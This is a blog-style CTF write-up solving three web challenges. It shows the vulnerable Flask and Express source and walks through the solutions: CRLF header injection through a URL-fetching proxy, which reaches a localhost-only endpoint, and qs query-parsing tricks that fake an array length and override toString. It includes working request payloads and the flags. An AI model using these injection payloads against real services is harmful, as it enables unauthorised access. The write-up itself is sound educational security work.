0x00 Introduction

If you have ever wondered why I am foxtrot_charlie, well - first of all my parents gave me this name, and then cf acronym comes to play. In military jargon cf could be described visually as the beginning of the year 2020. Pure cluster f***k. But lockdown has some advantages. For example I do not need to move around for my uni classes (why the hell something like that must have happened so we could study at home) so there is plenty of time to do my thing - hack. And solve challenges. As far as Gynvael's missions are dead there is a new guy in town. Gynvael hosts new challs on his (I assume his) host 35.204.139.205 on ports above 5000 (inclusive). So let me jump straight into it! Today I will show my solutions to 3 first challanges. AFAIK there are 5 of them so expect a followup.

SPOILER ALERT

This blogpost contains solutions of CTF tasks, but @Gynvael permits to post them. So if you want to solve these challs go to http://35.204.139.205:5000/ and start hacking!

SPOILER ALERT

0x10 Challenge 0x00:5000

Zeroth chall (hosted on port 5000) was the first introducent. It’s rather simple headers’ modification type of task that could be solved in two ways. But let me show you the code (2 spaces indentation brrr).

#!/usr/bin/python3
from flask import Flask, request, Response, render_template_string
from urllib.parse import urlparse
import socket
import os

app = Flask(__name__)
FLAG = os.environ.get('FLAG', "???")

with open("task.py") as f:
  SOURCE = f.read()

@app.route('/secret')
def secret():
  if request.remote_addr != "127.0.0.1":
    return "Access denied!"

  if request.headers.get("X-Secret", "") != "YEAH":
    return "Nope."

  return f"GOOD WORK! Flag is {FLAG}"

@app.route('/')
def index():
  return render_template_string(
      """
      <html>
        <body>
          <h1>URL proxy with language preference!</h1>
          <form action="/fetch" method="POST">
            <p>URL: <input name="url" value="http://gynvael.coldwind.pl/"></p>
            <p>Language code: <input name="lang" value="en-US"></p>
            <p><input type="submit"></p>
          </form>
          <pre>
Task source:
{{ src }}
          </pre>
        </body>
      </html>
      """, src=SOURCE)

@app.route('/fetch', methods=["POST"])
def fetch():
  url = request.form.get("url", "")
  lang = request.form.get("lang", "en-US")

  if not url:
    return "URL must be provided"

  data = fetch_url(url, lang)
  if data is None:
    return "Failed."

  return Response(data, mimetype="text/plain;charset=utf-8")

def fetch_url(url, lang):
  o = urlparse(url)

  req = '\r\n'.join([
    f"GET {o.path} HTTP/1.1",
    f"Host: {o.netloc}",
    f"Connection: close",
    f"Accept-Language: {lang}",
    "",
    ""
  ])

  res = o.netloc.split(':')
  if len(res) == 1:
    host = res[0]
    port = 80
  else:
    host = res[0]
    port = int(res[1])

  data = b""
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((host, port))
    s.sendall(req.encode('utf-8'))
    while True:
      data_part = s.recv(1024)
      if not data_part:
        break
      data += data_part

  return data

if __name__ == "__main__":
  app.run(debug=False, host="0.0.0.0")

Ok, so the app is written in the Flask[1] framework and it is some kind of a proxy that does GET requests with Accept-Language: header settings. Our task is simple. We have to generate the GET request to /secret endpoint. But there are some contitions that have to be met. First of all - request.remote_addr != "127.0.0.1" means that request has to be done from localhost. So in case of GET request done from any other host in the Internet the response says “Access denied!". To solve this challenge I will use Burp Suite and Repeater.

GET /secret HTTP/1.1
Host: 35.204.139.205:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Listing 0x10 - GET request. Accessing the /secret from my host

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 14
Server: Werkzeug/1.0.1 Python/3.6.9
Date: Tue, 19 May 2020 16:26:32 GMT

Access denied!```

Listing 0x11 - response access denied

After reading the source code (which was downloadable by the time I was solving that challenge) my first thought was to set X-Secret header using Accept-Language header. Proxy uses following code:

  req = '\r\n'.join([
    f"GET {o.path} HTTP/1.1",
    f"Host: {o.netloc}",
    f"Connection: close",
    f"Accept-Language: {lang}",
    "",
    ""
  ])

Listing 0x12 - request building

The fifth line uses Python’s 3.6 feature f-strings[2] and sets Accept-Language to lang variable. Actually this variable is controlled by the attacker in post form -lang = request.form.get("lang", "en-US") sets the lang variable to one set by the sender.

Headers in the HTTP are separated by CRLF[3] value. So the obvious thing to do is to set Accept-Langauge to something\r\nX-Secret:YEAH. But setting that value in POST request.

url=http://127.0.0.1:5000/secret&lang=en-US\r\nX-Secret:YEAH

Listing 0x13 - faulty payload

Gives the following response on the server side (I’ve added some debug messages to clarify what happens):

 * Serving Flask app "server" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
ImmutableMultiDict([('url', 'http://127.0.0.1:5000/secret'), ('lang', 'en-US\\n\\rX-Secret:YEAH')])
o.path: /secret, 127.0.0.1:5000, lang: en-US\n\rX-Secret:YEAH
Req: GET /secret HTTP/1.1
Host: 127.0.0.1:5000
Connection: close
Accept-Language: en-US\r\nX-Secret:YEAH

Listing 0x14 - server side parsing of the request

What happened? Chars \r\n were escaped, encoded and then sent as normal characters not CRLF. The simplest method to fix that in Burp is to use URL-encode as you type method. So the full request looks like this:

POST /fetch HTTP/1.1
Host: 35.204.139.205:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://35.204.139.205:5000
Connection: close
Referer: http://35.204.139.205:5000/
Upgrade-Insecure-Requests: 1

url=http://127.0.0.1:5000/secret&lang=en-US%0d%0aX-Secret:YEAH

Listing 0x15 - URL-encoded request

And ten bang we have the flag!

HTTP/1.0 200 OK
Content-Type: text/plain;charset=utf-8; charset=utf-8
Content-Length: 195
Server: Werkzeug/1.0.1 Python/3.6.9
Date: Tue, 19 May 2020 16:23:09 GMT

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 42
Server: Werkzeug/1.0.1 Python/3.6.9
Date: Tue, 19 May 2020 16:23:09 GMT

GOOD WORK! Flag is CTF{ThesePeskyNewLines}

Listing 0x16 - the flag

And the server parsed request as follows:

127.0.0.1 - - [19/May/2020 16:52:06] "POST /fetch HTTP/1.1" 200 -
ImmutableMultiDict([('url', 'http://127.0.0.1:5000/secret'), ('lang', 'en-US\r\nX-Secret:YEAH')])
o.path: /secret, 127.0.0.1:5000, lang: en-US
X-Secret:YEAH
Req: GET /secret HTTP/1.1
Host: 127.0.0.1:5000
Connection: close
Accept-Language: en-US
X-Secret:YEAH

Listing 0x17 - server side parsing of the correct payload

Aaaaaand then I was happy with my solution. But @Gynvael came and said that there is another way. And there is. I’m really ashamed that I haven’t spotted it right at the beginning. So as you probably already know there is a way to inject X-Secret header without lang variable. The URL parameter has to be formated that way it will create a valid HTTP GET request. How to do that? On the higher level the URL should look like this: schema://address:port/resource[space]HTTP/1.1\r\nX-Secret:YEAH\r\n\r\n. Implementing this idea should give something like this:

POST /fetch HTTP/1.1
Host: 35.204.139.205:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Origin: http://35.204.139.205:5000
Connection: close
Referer: http://35.204.139.205:5000/
Upgrade-Insecure-Requests: 1

url=http://127.0.0.1:5000/secret+HTTP/1.1%0d%0aX-Secret:YEAH%0d%0a%0d%0a&lang=en-US

Listing 0x18 - the flag vol2

And on the server side

ImmutableMultiDict([('url', 'http://127.0.0.1:5000/secret HTTP/1.1\r\nX-Secret:YEAH\r\n\r\n'), ('lang', 'en-US')])
Req: GET /secret HTTP/1.1
X-Secret:YEAH

 HTTP/1.1
Host: 127.0.0.1:5000
Connection: close
Accept-Language: en-US

Listing 0x19 - server side parsing of the url encoded injection

Things after \r\n are simply ignored.

0x20 Task 0x01:5001

Next task is hosted on 5001 and it’s written in our beloved JavaScript. So let’s jump straight into it!

Accessing the website returns us the code of the challenge:

~  curl 'http://35.204.139.205:5001/'                          
Level 1

const express = require('express')
const fs = require('fs')

const PORT = 5001
const FLAG = process.env.FLAG || "???"
const SOURCE = fs.readFileSync('app.js')

const app = express()

app.get('/', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')
  res.write("Level 1\n\n")

  if (!('secret' in req.query)) {
    res.end(SOURCE)
    return
  }

  if (req.query.secret.length > 5) {
    res.end("I don't allow it.")
    return
  }

  if (req.query.secret != "GIVEmeTHEflagNOW") {
    res.end("Wrong secret.")
    return
  }

  res.end(FLAG)
})

app.listen(PORT, () => {
  console.log(`Example app listening at port ${PORT}`)
}) 

Listing 0x20 Code

This time to obtain the secret the app must get the secret parameter in the GET request. It has to be set to GIVEmeTHEflagNOW and at the same time it has to meet this check:


  if (req.query.secret.length > 5) {
    res.end("I don't allow it.")
    return
  }

Listing 0x21 Query length check

And unfortunately len("GIVEmeTHEflagNOW") = 16 which is greater than 5. So we have to pass an object via secret parameter that will be the length that is smaller than 5 and if referenced directly will return secret phrase. If you know the PHP, you are probably familiar with arrays. That was my first guess and in a few attempts, I’ve managed to get the flag.

~ ❯ curl 'http://35.204.139.205:5001/?secret=GIVEmeTHEflagNOW&secret=Bong'
Level 1

Wrong secret.% 
~ ❯ curl 'http://35.204.139.205:5001/?secret[]=IVEmeTHEflagNOW' # typo :)          
Level 1

Wrong secret.%                                                                                                       
~ ❯ curl 'http://35.204.139.205:5001/?secret[]=GIVEmeTHEflagNOW'
Level 1

CTF{SmellsLikePHP}%  

Aaaand tadam! we got the flag. The parameter is the array and array.length is equal to 1. That strange bahaviour is caused by qs module [4], the default query parser of the Express. To read more about some quirks in query parsing I higly recommend you this [5] article.

0x30 Task 0x02:5002

Ok, so far so good. Previous challs were pretty easy and straightforward. Now comes time for something more complex. Let’s do PORT++ and visit http://35.204.139.205:5002/

The code is as always returned on GET / request without parameters.

Level 2

const express = require('express')
const fs = require('fs')

const PORT = 5002
const FLAG = process.env.FLAG || "???"
const SOURCE = fs.readFileSync('app.js')

const app = express()

app.get('/', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')
  res.write("Level 2\n\n")

  if (!('X' in req.query)) {
    res.end(SOURCE)
    return
  }

  if (req.query.X.length > 800) {
    const s = JSON.stringify(req.query.X)
    if (s.length > 100) {
      res.end("Go away.")
      return
    }

    try {
      const k = '<' + req.query.X + '>'
      res.end("Close, but no cigar.")
    } catch {
      res.end(FLAG)
    }

  } else {
    res.end("No way.")
    return
  }
})

app.listen(PORT, () => {
  console.log(`Challenge listening at port ${PORT}`)
}) 

Listing 0x30 Challenge code

This challenge was pretty hard for me. First of all to obtain the flag, which is stored in the enviromental variable FLAG, is to do the GET request on the / resource with specified X parameter. Then only when req.query.X.length is greater than 800 and when stringified is shorter than 100 it has to throw an exception when concatenated with '<' and '>'.

Pretty much huh? So I started by reading about stringify function here [6] and tried that:

Mozilla JS sandbox

Notice the first line. My first wrong assumption was that stringify should create a valid JSON from input and then serialize it to the String object. Which is not the case here, so multiple replication of the same key=>value entries will not work here. But previously linked article ([5]) pointed me another solution. For the first check. Because of qs usage in this simple code, one can pass nested structures. This nested value could be JSON with length field. Then the reference to this field will return the value stored there not the real length. Watch this:


var text = '{ "employees" : [' +
'{ "firstName":"John" , "lastName":"Doe" },' +
'{ "firstName":"Anna" , "lastName":"Smith" },' +
'{ "firstName":"Peter" , "lastName":"Jones" } ]}';

JSON.parse(text)
{}

employees: Array(3) [ {}, {}, {} ]

<prototype>: {}


// the tadaaaa part:
JSON.parse(text).employees
(3) []

0: Object { firstName: "John", lastName: "Doe" }

1: Object { firstName: "Anna", lastName: "Smith" }

2: Object { firstName: "Peter", lastName: "Jones" }

length: 3

Listing 0x31 Referencing object fields

So the first check will be passed if X[length]=x where x > 800. I’ve chosen the first obvious value 801.

~ ❯ curl -i -s -k -X $'GET' 'http://35.204.139.205:5002/?X[length]=801'     
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain;charset=utf-8
Date: Tue, 19 May 2020 19:32:20 GMT
Connection: keep-alive
Transfer-Encoding: chunked

Level 2

Close, but no cigar.%       

Listing 0x32 Partially solved challenge

And looking at this response tells us that two first checks were passed. Second one is true because the length of X{length:801} interpreted as string is way smaller than 100.

Last but not least there is this catch part where the flag is printed. To jump there the concatenation must throw an exception. But how to trigger that. I’m not so fluent at JS so with my little knowledge from other languages I’ve tried different types of objects. And… all of them were automagically converted to string and then + operator was used.

> var d = JSON.parse(text)
undefined
> d + '>'
"[object Object]>"
> NaN + '>'
"NaN>"
> true
true
> true + '>'
"true>"

Listing 0x33 Weird concatenation

No error due to concatenation string with null, Object or NaN objects looks crazy to me but all these objects have methods. And I’ve listed all of them (with other properties, but didn’t wanted to mess around with JS too much)

Object.keys(NaN)
[]


...
push: function push()
​​
...
Symbol(Symbol.iterator): function values()
​​
Symbol(Symbol.unscopables): Object { copyWithin: true, entries: true, fill: true,  }
​​
...
toLocaleString: function toLocaleString()
​​​
toString: function toString()
​​​
...

Listing 0x34 Some object methods (and fields)

So there is something like toString() function which converts for example NaN to "NaN" (string thing). So how about playing around JSON object created with the qs parser? This should throw TypeError (or it just does that in Web Browser console)

> var  a = new Object()
undefined
> a.toString()
"[object Object]"
> a.toString = 'asdf'
"asdf"
> a.toString()
TypeError: a.toString is not a function

Listing 0x35 Overwritting toString() method

And trying that on the remote system gives us:

~ ❯ curl -i -s -k -X $'GET' 'http://35.204.139.205:5002/?X[length]=801&X[toString]=asdf'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain;charset=utf-8
Date: Tue, 19 May 2020 20:49:39 GMT
Connection: keep-alive
Transfer-Encoding: chunked

Level 2

CTF{WaaayBeyondPHPLikeWTF}%  

Worked like a charm! We’ve succesfully overwritten toString() method in this object.

Conclusion

Some behaviours may not be faulty (which is questionable when it comes to JS) but pretty confusing and unexpected. Default query parser in Express framework is pretty powerfull. But with the great power comes great responsibility. And that’s why it is crucial to try to think about all different code paths that may be generated implicitly. If you are a developer - stick to the advices given in [5]. You probably do not need so much firepower when handling query parameters.

That’s all for today. Now I’m back on track doing stuff, so I promise there will be new content soon. I mean really soon so !soonish or !sooner. C u on the Internet!

foxtrot_charlie over and out

Links

[1] Flask
[2] Python 3.6 f-strings Chanelog PEP 498
[3] HTTP Request-Response schema RFC
[4] qs
[5] Gotchas with Express query parsing (and how to avoid them)
[6] JSON.stringify()

UPDATE 22.05.2020 (DD:MM:YYYY)

Fixed typos and error in the listing 0x21. Thank you @noodly!